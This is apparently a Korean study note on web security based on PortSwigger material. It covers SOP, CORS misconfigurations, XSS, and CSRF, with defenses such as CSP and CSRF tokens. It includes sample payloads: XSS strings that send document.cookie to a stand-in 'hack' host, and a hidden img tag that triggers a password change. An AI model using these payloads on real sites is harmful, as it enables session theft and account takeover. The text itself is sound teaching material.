찾던 중 PortSwigger라는 사이트를 알게 되었는데 굉장히 다양한 공격법들에 대해서 설명해주고 있다. 한번 쯤 읽어보면 좋을 것 같다.
지정된 도메인 외부에 있는 리소스에 대한 액세스를 제어하는 브라우저 메커니즘
SOP + 유연성
SOP를 통해 다른 origin의 리소스에 대해서는 접근을 금지하도록 함.예시
이 정책이 없다면, 내 구글의 개인 정보가 다른 악성 사이트에서 접근할 수 있다.
origin
URI scheme(protocol), domain, port로 구성된다. 단, port의 경우 http, https의 기본 포트가 정해져있기 때문에 생략되는 경우도 있다.
CORS는 SOP만으로는 서비스를 구성하는게 현실적으로 불가능하기 때문에 외부 리소스 사용을 위한 예외 조항이다.
Access-Control-Allow-Origin: https://somesite.com:443
이 때 와일드 카드를 사용할 수 있으나, 사용을 지양해야한다. CSRF공격을 막아낼 수가 없다. 내부 네트워크이더라도 네트워크 망만으로는 취약점이 발생할 수 있다. 또한 하위 도메인의 경우에도 와일드 카드를 사용하게 된다면, 액세스 권한이 넘어갈 수 있다.
Access-Control-Allow-Origin: https://*-somesite.com
hack-somsite.com
OPTIONS를 통한 요청을 먼저 보내서, 실제 요청 전송 여부에 대하여 판단한다. 이 Preflight Request에 대해서 서버는 Access-Control-Allow-Origin을 포함하여 응답을 내리게 되는데, 브라우저는 이를 비교하여 실제 요청을 보낼지에 대해 판단하게 된다.
당연히 이 왕복요청에 대해서는 오버헤드가 발생하게 되는데 이를 skip할 수 있다.다만 skip을 위해선 아래 3가지 조건을 만족해야 한다.
Method는 GET, HEAD, POST 중 하나Accept, Accept-Language, Content-Language, Content-Type, DPR, Downlink, Save-Data, Viewport-Width, Width 만 사용 가능하다.
Content-Type은 apllication/x-www-form-urlencoded, multipart/form-data, text/plain 만 가능하다.json은 택도 없으며, Authorization또한 택도 없다 ㅎfetch API 혹은 XMLHttpRequest를 사용할 때 일어나는 요청이다.해당 옵션에 인증 정보를 포함하도록 한다면, CORS정책은 두가지 룰이 추가되게 된다.
Access-Control-Allow-Origin: * 금지, 명시적 URL을 지정해야한다.Access-Control-Allow-Credentials: true 로 지정해주어야 한다.Basic Origin Reflection
origin에 대한 정보가 있어 이를 이용해서 CORS를 지키면서 요청을 보낼 수 있다.하위 도메인 와일드카드
*-somesite.com 이런거 origin에 넣으면 안된다. 와일드 카드는 지양한다.null 요청 허용의 경우
origin에는 null 또한 설정할 수 있는데 이렇게 되면 iframe 같은거로 뚫을 수 있다.XSS
CORS의 기반은 출처간의 신뢰성이다. 한쪽이 XSS로 인해 신뢰가 없어진다면 당연히 CORS 또한 유효할 수 없다.Breaking TLS with poorly configured CORS
HTTPS를 엄격하게 쓰더라도 HTTP쪽을 화이트리스트로 등록해두면 이또한 위험요소가 될 수 있다.자격증명이 없는 인트라넷
Access-Control-Allow-Origin 관리를 잘 할 것 (지속적인 관리가 필요하다.)null 허용은 최대한 피하도록 하자.CORS가 서버 보안을 해준다고 생각하면 안된다. (별도로 보안책을 강구해두자.)해커가 웹페이지에 악성 스크립트를 삽입하는 형태의 공격.
스크립트를 심는 방법이 매우 다양하기 때문에 신경쓸게 많은 부분이라고 함.
종류는 아래 3가지 방법이 있다.
text-area 뿐만아니라, 악성 스크립트가 저장되고 노출되기만 하면 동작되기 때문에 다양한 부분에서 공격이 일어날 수 있다.예시
<p>{users message}</p> 형태의 데이터에 <p><script src="hack.js"></script></p> 의 형태로 스크립트를 심어 해당 HTML을 읽는 브라우저에서 해킹을 시도한다.
예시
https://someservice.com/lists?args=<script>location.href="https://hack/cookie={document.cookie}"</script> 의 형태로 특정 요청을 해킹해서 사용자의 데이터를 탈취 할 수 있다.예시
<img src="never_exists_img" onerror="https://hack/cookie={document.cookie}" 의 형태로 돔레벨에서 에러를 일으켜서 탈취할 수 있다.
validate를 확실하게 하여 필터링 해낸다.HTTP Response에서 encode하여 active content가 되지 않도록 한다. 예시) < :: <Content-Type, X-Content-Type-Options 등을 이용하여 브라우저가 의도한 대로 응답을 해석하도록 유도한다.CSP를 사용하는 웹에서는 XSS같은 동작이 포함되어 있으면 이를 방지할 수 있다.SQL injection이랑 뭐가 다른지??
SQL injection은 DB가 타겟임. XSS는 사용자가 타겟임CSRF공격의 핵심
예시
<img src="http://somesite.com/changeUser?id=aaa&password=aaa" width="0" height="0"> 와 같은 육안으로 노출되지 않는 특정 스크립트(iframe 등)를 동봉하여 메일 등을 보낸다.
portswigger 포스트에 게시된 CSRF의 전제조건은 다음 세가지로 제시하고 있다. 즉 세 가지를 막는 것이 보안점이라 생각하면 될 것 같다.
1번을 예시로 타겟이 될만한 액션을 없애는 것은 서비스 상 불가능 할 수 있으나 아래를 통해 보안을 취할 수 있는 부분은 있다.
Referer 검증
referer 체크를 통해서 somesite를 통한 요청이 아닌 경우는 차단할 수 있다.CSRF 토큰
form페이지에 대한 요청을 할 경우 CSRF토큰을 생성해서, POST 등 form submit에 대한 요청에 대해서 해당 토큰을 검증한다.significant entropy를 가져야하며 예측불가능하여야 한다.cryptographic strength pseudo-random number generator를 이용해야 한다.JWT를 쓰는데 왜 CSRF 토큰까지 필요한가??
JWT는 일반적으로 local storage에 보관하게 된다. Local storage는 스크립트를 통해 정보를 취할 수 있기 때문에 이는 XSS공격으로부터 자유롭지 못하다. 즉 XSS공격에 취약점이 있을 경우 JWT만으론 부족함이 있다. 반대로 쿠키에 저장하게 될 경우 CSRF 공격으로부터 취약점이 생기게 됨으로, 웹사이트에서 쓰이고 있는 JWT만으로는 부족함이 있다. (어디에 저장했든 해당 JWT를 별도로 Authorization 헤더에 넣는 방법도 있겠지만 어쨌든 XSS 공격은은 JWT를 탈취해갈 수 있다. 결국 XSS를 막는게 가장 중요하다. 가장 빈번하면서도 가장 다양한 공격)